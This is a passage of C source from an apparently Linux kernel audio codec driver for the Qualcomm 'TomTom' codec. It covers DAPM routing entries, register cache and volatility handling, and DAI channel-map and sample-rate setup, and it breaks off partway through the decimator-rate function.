{"RX7 MIX1 INP2", "IIR1", "IIR1"},
{"RX7 MIX1 INP2", "IIR2", "IIR2"},
{"RX8 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX8 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX8 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX8 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX8 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX8 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX8 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX8 MIX1 INP1", "RX8", "SLIM RX8"},
{"RX8 MIX1 INP1", "IIR1", "IIR1"},
{"RX8 MIX1 INP1", "IIR2", "IIR2"},
{"RX8 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX8 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX8 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX8 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX8 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX8 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX8 MIX1 INP2", "RX7", "SLIM RX7"},
{"RX8 MIX1 INP2", "RX8", "SLIM RX8"},
{"RX8 MIX1 INP2", "IIR1", "IIR1"},
{"RX8 MIX1 INP2", "IIR2", "IIR2"},
/* IIR1, IIR2 inputs to Second RX Mixer on RX1, RX2 and RX7 chains. */
{"RX1 MIX2 INP1", "IIR1", "IIR1"},
{"RX1 MIX2 INP2", "IIR1", "IIR1"},
{"RX2 MIX2 INP1", "IIR1", "IIR1"},
{"RX2 MIX2 INP2", "IIR1", "IIR1"},
{"RX7 MIX2 INP1", "IIR1", "IIR1"},
{"RX7 MIX2 INP2", "IIR1", "IIR1"},
{"RX1 MIX2 INP1", "IIR2", "IIR2"},
{"RX1 MIX2 INP2", "IIR2", "IIR2"},
{"RX2 MIX2 INP1", "IIR2", "IIR2"},
{"RX2 MIX2 INP2", "IIR2", "IIR2"},
{"RX7 MIX2 INP1", "IIR2", "IIR2"},
{"RX7 MIX2 INP2", "IIR2", "IIR2"},
/* Decimator Inputs */
{"DEC1 MUX", "DMIC1", "DMIC1"},
{"DEC1 MUX", "ADC6", "ADC6"},
{"DEC1 MUX", NULL, "CDC_CONN"},
{"DEC2 MUX", "DMIC2", "DMIC2"},
{"DEC2 MUX", "ADC5", "ADC5"},
{"DEC2 MUX", NULL, "CDC_CONN"},
{"DEC3 MUX", "DMIC3", "DMIC3"},
{"DEC3 MUX", "ADC4", "ADC4"},
{"DEC3 MUX", NULL, "CDC_CONN"},
{"DEC4 MUX", "DMIC4", "DMIC4"},
{"DEC4 MUX", "ADC3", "ADC3"},
{"DEC4 MUX", NULL, "CDC_CONN"},
{"DEC5 MUX", "DMIC5", "DMIC5"},
{"DEC5 MUX", "ADC2", "ADC2"},
{"DEC5 MUX", NULL, "CDC_CONN"},
{"DEC6 MUX", "DMIC6", "DMIC6"},
{"DEC6 MUX", "ADC1", "ADC1"},
{"DEC6 MUX", NULL, "CDC_CONN"},
{"DEC7 MUX", "DMIC1", "DMIC1"},
{"DEC7 MUX", "DMIC6", "DMIC6"},
{"DEC7 MUX", "ADC1", "ADC1"},
{"DEC7 MUX", "ADC6", "ADC6"},
{"DEC7 MUX", "ANC1_FB", "ANC1 MUX"},
{"DEC7 MUX", "ANC2_FB", "ANC2 MUX"},
{"DEC7 MUX", NULL, "CDC_CONN"},
{"DEC8 MUX", "DMIC2", "DMIC2"},
{"DEC8 MUX", "DMIC5", "DMIC5"},
{"DEC8 MUX", "ADC2", "ADC2"},
{"DEC8 MUX", "ADC5", "ADC5"},
{"DEC8 MUX", "ANC1_FB", "ANC1 MUX"},
{"DEC8 MUX", "ANC2_FB", "ANC2 MUX"},
{"DEC8 MUX", NULL, "CDC_CONN"},
{"DEC9 MUX", "DMIC4", "DMIC4"},
{"DEC9 MUX", "DMIC5", "DMIC5"},
{"DEC9 MUX", "ADC2", "ADC2"},
{"DEC9 MUX", "ADC3", "ADC3"},
{"DEC9 MUX", "ANC1_FB", "ANC1 MUX"},
{"DEC9 MUX", "ANC2_FB", "ANC2 MUX"},
{"DEC9 MUX", NULL, "CDC_CONN"},
{"DEC10 MUX", "DMIC3", "DMIC3"},
{"DEC10 MUX", "DMIC6", "DMIC6"},
{"DEC10 MUX", "ADC1", "ADC1"},
{"DEC10 MUX", "ADC4", "ADC4"},
{"DEC10 MUX", "ANC1_FB", "ANC1 MUX"},
{"DEC10 MUX", "ANC2_FB", "ANC2 MUX"},
{"DEC10 MUX", NULL, "CDC_CONN"},
/* ADC Connections */
{"ADC1", NULL, "AMIC1"},
{"ADC2", NULL, "AMIC2"},
{"ADC3", NULL, "AMIC3"},
{"ADC4", NULL, "AMIC4"},
{"ADC5", NULL, "AMIC5"},
{"ADC6", NULL, "AMIC6"},
/* AUX PGA Connections */
{"EAR_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"HPHL_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"HPHR_PA_MIXER", "AUX_PGA_R Switch", "AUX_PGA_Right"},
{"LINEOUT1_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"LINEOUT2_PA_MIXER", "AUX_PGA_R Switch", "AUX_PGA_Right"},
{"LINEOUT3_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"LINEOUT4_PA_MIXER", "AUX_PGA_R Switch", "AUX_PGA_Right"},
{"AUX_PGA_Left", NULL, "AMIC5"},
{"AUX_PGA_Right", NULL, "AMIC6"},
{"IIR1", NULL, "IIR1 INP1 MUX"},
{"IIR1 INP1 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP1 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP1 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP1 MUX", "DEC5", "DEC5 MUX"},
{"IIR1 INP1 MUX", "DEC6", "DEC6 MUX"},
{"IIR1 INP1 MUX", "DEC7", "DEC7 MUX"},
{"IIR1 INP1 MUX", "DEC8", "DEC8 MUX"},
{"IIR1 INP1 MUX", "DEC9", "DEC9 MUX"},
{"IIR1 INP1 MUX", "DEC10", "DEC10 MUX"},
{"IIR1 INP1 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP1 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP1 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP1 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP1 MUX", "RX5", "SLIM RX5"},
{"IIR1 INP1 MUX", "RX6", "SLIM RX6"},
{"IIR1 INP1 MUX", "RX7", "SLIM RX7"},
{"IIR2", NULL, "IIR2 INP1 MUX"},
{"IIR2 INP1 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP1 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP1 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP1 MUX", "DEC5", "DEC5 MUX"},
{"IIR2 INP1 MUX", "DEC6", "DEC6 MUX"},
{"IIR2 INP1 MUX", "DEC7", "DEC7 MUX"},
{"IIR2 INP1 MUX", "DEC8", "DEC8 MUX"},
{"IIR2 INP1 MUX", "DEC9", "DEC9 MUX"},
{"IIR2 INP1 MUX", "DEC10", "DEC10 MUX"},
{"IIR2 INP1 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP1 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP1 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP1 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP1 MUX", "RX5", "SLIM RX5"},
{"IIR2 INP1 MUX", "RX6", "SLIM RX6"},
{"IIR2 INP1 MUX", "RX7", "SLIM RX7"},
{"IIR1", NULL, "IIR1 INP2 MUX"},
{"IIR1 INP2 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP2 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP2 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP2 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP2 MUX", "DEC5", "DEC5 MUX"},
{"IIR1 INP2 MUX", "DEC6", "DEC6 MUX"},
{"IIR1 INP2 MUX", "DEC7", "DEC7 MUX"},
{"IIR1 INP2 MUX", "DEC8", "DEC8 MUX"},
{"IIR1 INP2 MUX", "DEC9", "DEC9 MUX"},
{"IIR1 INP2 MUX", "DEC10", "DEC10 MUX"},
{"IIR1 INP2 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP2 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP2 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP2 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP2 MUX", "RX5", "SLIM RX5"},
{"IIR1 INP2 MUX", "RX6", "SLIM RX6"},
{"IIR1 INP2 MUX", "RX7", "SLIM RX7"},
{"IIR2", NULL, "IIR2 INP2 MUX"},
{"IIR2 INP2 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP2 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP2 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP2 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP2 MUX", "DEC5", "DEC5 MUX"},
{"IIR2 INP2 MUX", "DEC6", "DEC6 MUX"},
{"IIR2 INP2 MUX", "DEC7", "DEC7 MUX"},
{"IIR2 INP2 MUX", "DEC8", "DEC8 MUX"},
{"IIR2 INP2 MUX", "DEC9", "DEC9 MUX"},
{"IIR2 INP2 MUX", "DEC10", "DEC10 MUX"},
{"IIR2 INP2 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP2 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP2 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP2 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP2 MUX", "RX5", "SLIM RX5"},
{"IIR2 INP2 MUX", "RX6", "SLIM RX6"},
{"IIR2 INP2 MUX", "RX7", "SLIM RX7"},
{"IIR1", NULL, "IIR1 INP3 MUX"},
{"IIR1 INP3 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP3 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP3 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP3 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP3 MUX", "DEC5", "DEC5 MUX"},
{"IIR1 INP3 MUX", "DEC6", "DEC6 MUX"},
{"IIR1 INP3 MUX", "DEC7", "DEC7 MUX"},
{"IIR1 INP3 MUX", "DEC8", "DEC8 MUX"},
{"IIR1 INP3 MUX", "DEC9", "DEC9 MUX"},
{"IIR1 INP3 MUX", "DEC10", "DEC10 MUX"},
{"IIR1 INP3 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP3 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP3 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP3 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP3 MUX", "RX5", "SLIM RX5"},
{"IIR1 INP3 MUX", "RX6", "SLIM RX6"},
{"IIR1 INP3 MUX", "RX7", "SLIM RX7"},
{"IIR2", NULL, "IIR2 INP3 MUX"},
{"IIR2 INP3 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP3 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP3 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP3 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP3 MUX", "DEC5", "DEC5 MUX"},
{"IIR2 INP3 MUX", "DEC6", "DEC6 MUX"},
{"IIR2 INP3 MUX", "DEC7", "DEC7 MUX"},
{"IIR2 INP3 MUX", "DEC8", "DEC8 MUX"},
{"IIR2 INP3 MUX", "DEC9", "DEC9 MUX"},
{"IIR2 INP3 MUX", "DEC10", "DEC10 MUX"},
{"IIR2 INP3 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP3 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP3 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP3 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP3 MUX", "RX5", "SLIM RX5"},
{"IIR2 INP3 MUX", "RX6", "SLIM RX6"},
{"IIR2 INP3 MUX", "RX7", "SLIM RX7"},
{"IIR1", NULL, "IIR1 INP4 MUX"},
{"IIR1 INP4 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP4 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP4 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP4 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP4 MUX", "DEC5", "DEC5 MUX"},
{"IIR1 INP4 MUX", "DEC6", "DEC6 MUX"},
{"IIR1 INP4 MUX", "DEC7", "DEC7 MUX"},
{"IIR1 INP4 MUX", "DEC8", "DEC8 MUX"},
{"IIR1 INP4 MUX", "DEC9", "DEC9 MUX"},
{"IIR1 INP4 MUX", "DEC10", "DEC10 MUX"},
{"IIR1 INP4 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP4 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP4 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP4 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP4 MUX", "RX5", "SLIM RX5"},
{"IIR1 INP4 MUX", "RX6", "SLIM RX6"},
{"IIR1 INP4 MUX", "RX7", "SLIM RX7"},
{"IIR2", NULL, "IIR2 INP4 MUX"},
{"IIR2 INP4 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP4 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP4 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP4 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP4 MUX", "DEC5", "DEC5 MUX"},
{"IIR2 INP4 MUX", "DEC6", "DEC6 MUX"},
{"IIR2 INP4 MUX", "DEC7", "DEC7 MUX"},
{"IIR2 INP4 MUX", "DEC8", "DEC8 MUX"},
{"IIR2 INP4 MUX", "DEC9", "DEC9 MUX"},
{"IIR2 INP4 MUX", "DEC10", "DEC10 MUX"},
{"IIR2 INP4 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP4 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP4 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP4 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP4 MUX", "RX5", "SLIM RX5"},
{"IIR2 INP4 MUX", "RX6", "SLIM RX6"},
{"IIR2 INP4 MUX", "RX7", "SLIM RX7"},
{"MIC BIAS1 Internal1", NULL, "LDO_H"},
{"MIC BIAS1 Internal2", NULL, "LDO_H"},
{"MIC BIAS1 External", NULL, "LDO_H"},
{"MIC BIAS2 Internal1", NULL, "LDO_H"},
{"MIC BIAS2 Internal2", NULL, "LDO_H"},
{"MIC BIAS2 Internal3", NULL, "LDO_H"},
{"MIC BIAS2 External", NULL, "LDO_H"},
{"MIC BIAS3 Internal1", NULL, "LDO_H"},
{"MIC BIAS3 Internal2", NULL, "LDO_H"},
{"MIC BIAS3 External", NULL, "LDO_H"},
{"MIC BIAS4 External", NULL, "LDO_H"},
{DAPM_MICBIAS2_EXTERNAL_STANDALONE, NULL, "LDO_H Standalone"},
};
static int tomtom_readable(struct snd_soc_codec *ssc, unsigned int reg)
{
return tomtom_reg_readable[reg];
}
static bool tomtom_is_digital_gain_register(unsigned int reg)
{
bool rtn = false;
switch (reg) {
case TOMTOM_A_CDC_RX1_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_RX2_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_RX3_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_RX4_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_RX5_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_RX6_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_RX7_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_RX8_VOL_CTL_B2_CTL:
case TOMTOM_A_CDC_TX1_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX2_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX3_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX4_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX5_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX6_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX7_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX8_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX9_VOL_CTL_GAIN:
case TOMTOM_A_CDC_TX10_VOL_CTL_GAIN:
rtn = true;
break;
default:
break;
}
return rtn;
}
static int tomtom_volatile(struct snd_soc_codec *ssc, unsigned int reg)
{
int i;
/* Registers lower than 0x100 are top level registers which can be
* written by the TomTom core driver.
*/
if ((reg >= TOMTOM_A_CDC_MBHC_EN_CTL) || (reg < 0x100))
return 1;
if (reg == TOMTOM_A_CDC_CLK_RX_RESET_CTL)
return 1;
/* IIR Coeff registers are not cacheable */
if ((reg >= TOMTOM_A_CDC_IIR1_COEF_B1_CTL) &&
(reg <= TOMTOM_A_CDC_IIR2_COEF_B2_CTL))
return 1;
/* ANC filter registers are not cacheable */
if ((reg >= TOMTOM_A_CDC_ANC1_IIR_B1_CTL) &&
(reg <= TOMTOM_A_CDC_ANC1_LPF_B2_CTL))
return 1;
if ((reg >= TOMTOM_A_CDC_ANC2_IIR_B1_CTL) &&
(reg <= TOMTOM_A_CDC_ANC2_LPF_B2_CTL))
return 1;
/* Digital gain register is not cacheable so we have to write
* the setting even it is the same
*/
if (tomtom_is_digital_gain_register(reg))
return 1;
/* HPH status registers */
if (reg == TOMTOM_A_RX_HPH_L_STATUS || reg == TOMTOM_A_RX_HPH_R_STATUS)
return 1;
if (reg == TOMTOM_A_MBHC_INSERT_DET_STATUS)
return 1;
if (reg == TOMTOM_A_RX_HPH_CNP_EN)
return 1;
if (((reg >= TOMTOM_A_CDC_SPKR_CLIPDET_VAL0 &&
reg <= TOMTOM_A_CDC_SPKR_CLIPDET_VAL7)) ||
((reg >= TOMTOM_A_CDC_SPKR2_CLIPDET_VAL0) &&
(reg <= TOMTOM_A_CDC_SPKR2_CLIPDET_VAL7)))
return 1;
if (reg == TOMTOM_A_CDC_VBAT_GAIN_MON_VAL)
return 1;
for (i = 0; i < ARRAY_SIZE(audio_reg_cfg); i++)
if (audio_reg_cfg[i].reg_logical_addr -
TOMTOM_REGISTER_START_OFFSET == reg)
return 1;
if (reg == TOMTOM_A_SVASS_SPE_INBOX_TRG)
return 1;
if (reg == TOMTOM_A_QFUSE_STATUS)
return 1;
for (i = 0; i < ARRAY_SIZE(non_cacheable_reg); i++)
if (reg == non_cacheable_reg[i])
return 1;
return 0;
}
static int tomtom_write(struct snd_soc_codec *codec, unsigned int reg,
unsigned int value)
{
int ret;
struct wcd9xxx *wcd9xxx = codec->control_data;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
if (reg == SND_SOC_NOPM)
return 0;
BUG_ON(reg > TOMTOM_MAX_REGISTER);
if (!tomtom_volatile(codec, reg)) {
ret = snd_soc_cache_write(codec, reg, value);
if (ret != 0)
dev_err(codec->dev, "Cache write to %x failed: %d\n",
reg, ret);
}
if (unlikely(test_bit(BUS_DOWN, &tomtom_p->status_mask))) {
dev_err(codec->dev, "write 0x%02x while offline\n", reg);
return -ENODEV;
} else
return wcd9xxx_reg_write(&wcd9xxx->core_res, reg, value);
}
static unsigned int tomtom_read(struct snd_soc_codec *codec,
unsigned int reg)
{
unsigned int val;
int ret;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *wcd9xxx = codec->control_data;
if (reg == SND_SOC_NOPM)
return 0;
BUG_ON(reg > TOMTOM_MAX_REGISTER);
if (!tomtom_volatile(codec, reg) && tomtom_readable(codec, reg) &&
reg < codec->driver->reg_cache_size) {
ret = snd_soc_cache_read(codec, reg, &val);
if (ret >= 0) {
return val;
} else
dev_err(codec->dev, "Cache read from %x failed: %d\n",
reg, ret);
}
if (unlikely(test_bit(BUS_DOWN, &tomtom_p->status_mask))) {
dev_err(codec->dev, "read 0x%02x while offline\n", reg);
return -ENODEV;
} else {
val = wcd9xxx_reg_read(&wcd9xxx->core_res, reg);
return val;
}
}
static int tomtom_startup(struct snd_pcm_substream *substream,
struct snd_soc_dai *dai)
{
pr_debug("%s(): substream = %s stream = %d\n" , __func__,
substream->name, substream->stream);
return 0;
}
static void tomtom_shutdown(struct snd_pcm_substream *substream,
struct snd_soc_dai *dai)
{
pr_debug("%s(): substream = %s stream = %d\n" , __func__,
substream->name, substream->stream);
}
int tomtom_mclk_enable(struct snd_soc_codec *codec, int mclk_enable, bool dapm)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
pr_debug("%s: mclk_enable = %u, dapm = %d\n", __func__, mclk_enable,
dapm);
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
if (mclk_enable) {
wcd9xxx_resmgr_get_bandgap(&tomtom->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_get_clk_block(&tomtom->resmgr, WCD9XXX_CLK_MCLK);
} else {
/* Put clock and BG */
wcd9xxx_resmgr_put_clk_block(&tomtom->resmgr, WCD9XXX_CLK_MCLK);
wcd9xxx_resmgr_put_bandgap(&tomtom->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
}
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
return 0;
}
static int tomtom_set_dai_sysclk(struct snd_soc_dai *dai,
int clk_id, unsigned int freq, int dir)
{
pr_debug("%s\n", __func__);
return 0;
}
static int tomtom_set_dai_fmt(struct snd_soc_dai *dai, unsigned int fmt)
{
u8 val = 0;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(dai->codec);
pr_debug("%s\n", __func__);
switch (fmt & SND_SOC_DAIFMT_MASTER_MASK) {
case SND_SOC_DAIFMT_CBS_CFS:
/* CPU is master */
if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
if (dai->id == AIF1_CAP)
snd_soc_update_bits(dai->codec,
TOMTOM_A_CDC_CLK_TX_I2S_CTL,
TOMTOM_I2S_MASTER_MODE_MASK, 0);
else if (dai->id == AIF1_PB)
snd_soc_update_bits(dai->codec,
TOMTOM_A_CDC_CLK_RX_I2S_CTL,
TOMTOM_I2S_MASTER_MODE_MASK, 0);
}
break;
case SND_SOC_DAIFMT_CBM_CFM:
/* CPU is slave */
if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
val = TOMTOM_I2S_MASTER_MODE_MASK;
if (dai->id == AIF1_CAP)
snd_soc_update_bits(dai->codec,
TOMTOM_A_CDC_CLK_TX_I2S_CTL, val, val);
else if (dai->id == AIF1_PB)
snd_soc_update_bits(dai->codec,
TOMTOM_A_CDC_CLK_RX_I2S_CTL, val, val);
}
break;
default:
return -EINVAL;
}
return 0;
}
static int tomtom_set_channel_map(struct snd_soc_dai *dai,
unsigned int tx_num, unsigned int *tx_slot,
unsigned int rx_num, unsigned int *rx_slot)
{
struct wcd9xxx_codec_dai_data *dai_data = NULL;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(dai->codec);
struct wcd9xxx *core = dev_get_drvdata(dai->codec->dev->parent);
if (!tx_slot || !rx_slot) {
pr_err("%s: Invalid tx_slot=%pK, rx_slot=%pK\n",
__func__, tx_slot, rx_slot);
return -EINVAL;
}
pr_debug("%s(): dai_name = %s DAI-ID %x tx_ch %d rx_ch %d\n"
"tomtom->intf_type %d\n",
__func__, dai->name, dai->id, tx_num, rx_num,
tomtom->intf_type);
if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
wcd9xxx_init_slimslave(core, core->slim->laddr,
tx_num, tx_slot, rx_num, rx_slot);
/* Reserve TX13 for MAD data channel */
dai_data = &tomtom->dai[AIF4_MAD_TX];
if (dai_data) {
list_add_tail(&core->tx_chs[TOMTOM_TX13].list,
&dai_data->wcd9xxx_ch_list);
}
}
return 0;
}
static int tomtom_get_channel_map(struct snd_soc_dai *dai,
unsigned int *tx_num, unsigned int *tx_slot,
unsigned int *rx_num, unsigned int *rx_slot)
{
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(dai->codec);
u32 i = 0;
struct wcd9xxx_ch *ch;
switch (dai->id) {
case AIF1_PB:
case AIF2_PB:
case AIF3_PB:
if (!rx_slot || !rx_num) {
pr_err("%s: Invalid rx_slot %pK or rx_num %pK\n",
__func__, rx_slot, rx_num);
return -EINVAL;
}
list_for_each_entry(ch, &tomtom_p->dai[dai->id].wcd9xxx_ch_list,
list) {
pr_debug("%s: slot_num %u ch->ch_num %d\n",
__func__, i, ch->ch_num);
rx_slot[i++] = ch->ch_num;
}
pr_debug("%s: rx_num %d\n", __func__, i);
*rx_num = i;
break;
case AIF1_CAP:
case AIF2_CAP:
case AIF3_CAP:
case AIF4_VIFEED:
case AIF4_MAD_TX:
if (!tx_slot || !tx_num) {
pr_err("%s: Invalid tx_slot %pK or tx_num %pK\n",
__func__, tx_slot, tx_num);
return -EINVAL;
}
list_for_each_entry(ch, &tomtom_p->dai[dai->id].wcd9xxx_ch_list,
list) {
pr_debug("%s: slot_num %u ch->ch_num %d\n",
__func__, i, ch->ch_num);
tx_slot[i++] = ch->ch_num;
}
pr_debug("%s: tx_num %d\n", __func__, i);
*tx_num = i;
break;
default:
pr_err("%s: Invalid DAI ID %x\n", __func__, dai->id);
break;
}
return 0;
}
static int tomtom_set_interpolator_rate(struct snd_soc_dai *dai,
u8 rx_fs_rate_reg_val, u32 compander_fs, u32 sample_rate)
{
u32 j;
u8 rx_mix1_inp, rx8_mix1_inp;
u16 rx_mix_1_reg_1, rx_mix_1_reg_2;
u16 rx_fs_reg;
u8 rx_mix_1_reg_1_val, rx_mix_1_reg_2_val;
struct snd_soc_codec *codec = dai->codec;
struct wcd9xxx_ch *ch;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
int port_rx_8 = TOMTOM_RX_PORT_START_NUMBER + NUM_INTERPOLATORS - 1;
list_for_each_entry(ch, &tomtom->dai[dai->id].wcd9xxx_ch_list, list) {
/* for RX port starting from 16 instead of 10 like tabla */
rx_mix1_inp = ch->port + RX_MIX1_INP_SEL_RX1 -
TOMTOM_TX_PORT_NUMBER;
rx8_mix1_inp = ch->port + RX8_MIX1_INP_SEL_RX1 -
TOMTOM_RX_PORT_START_NUMBER;
if (((ch->port < port_rx_8) &&
((rx_mix1_inp < RX_MIX1_INP_SEL_RX1) ||
(rx_mix1_inp > RX_MIX1_INP_SEL_RX7))) ||
((rx8_mix1_inp < RX8_MIX1_INP_SEL_RX1) ||
(rx8_mix1_inp > RX8_MIX1_INP_SEL_RX8))) {
pr_err("%s: Invalid TOMTOM_RX%u port. Dai ID is %d\n",
__func__, rx8_mix1_inp - 2,
dai->id);
return -EINVAL;
}
rx_mix_1_reg_1 = TOMTOM_A_CDC_CONN_RX1_B1_CTL;
for (j = 0; j < NUM_INTERPOLATORS - 1; j++) {
rx_mix_1_reg_2 = rx_mix_1_reg_1 + 1;
rx_mix_1_reg_1_val = snd_soc_read(codec,
rx_mix_1_reg_1);
rx_mix_1_reg_2_val = snd_soc_read(codec,
rx_mix_1_reg_2);
if (((rx_mix_1_reg_1_val & 0x0F) == rx_mix1_inp) ||
(((rx_mix_1_reg_1_val >> 4) & 0x0F)
== rx_mix1_inp) ||
((rx_mix_1_reg_2_val & 0x0F) == rx_mix1_inp)) {
rx_fs_reg = TOMTOM_A_CDC_RX1_B5_CTL + 8 * j;
pr_debug("%s: AIF_PB DAI(%d) connected to RX%u\n",
__func__, dai->id, j + 1);
pr_debug("%s: set RX%u sample rate to %u\n",
__func__, j + 1, sample_rate);
snd_soc_update_bits(codec, rx_fs_reg,
0xE0, rx_fs_rate_reg_val);
if (comp_rx_path[j] < COMPANDER_MAX)
tomtom->comp_fs[comp_rx_path[j]]
= compander_fs;
}
if (j < 2)
rx_mix_1_reg_1 += 3;
else
rx_mix_1_reg_1 += 2;
}
/* RX8 interpolator path */
rx_mix_1_reg_1_val = snd_soc_read(codec,
TOMTOM_A_CDC_CONN_RX8_B1_CTL);
if (((rx_mix_1_reg_1_val & 0x0F) == rx8_mix1_inp) ||
(((rx_mix_1_reg_1_val >> 4) & 0x0F) == rx8_mix1_inp)) {
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX8_B5_CTL,
0xE0, rx_fs_rate_reg_val);
pr_debug("%s: AIF_PB DAI(%d) connected to RX%u\n",
__func__, dai->id, NUM_INTERPOLATORS);
pr_debug("%s: set RX%u sample rate to %u\n",
__func__, NUM_INTERPOLATORS,
sample_rate);
if (comp_rx_path[NUM_INTERPOLATORS - 1] < COMPANDER_MAX)
tomtom->comp_fs[comp_rx_path[j]] =
compander_fs;
}
}
return 0;
}
static int tomtom_set_decimator_rate(struct snd_soc_dai *dai,
u8 tx_fs_rate_reg_val, u32 sample_rate)
{
struct snd_soc_codec *codec = dai->codec;
struct wcd9xxx_ch *ch;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
u32 tx_port;
u16 tx_port_reg, tx_fs_reg;
u8 tx_port_reg_val;
s8 decimator;
list_for_each_entry(ch, &tomtom->dai[dai->id].wcd9xxx_ch_list, list) {
tx_port = ch->port + 1;
pr_debug("%s: dai->id = %d, tx_port = %d",
__func__, dai->id, tx_port);
if ((tx_port < 1) || (tx_port > NUM_DECIMATORS)) {
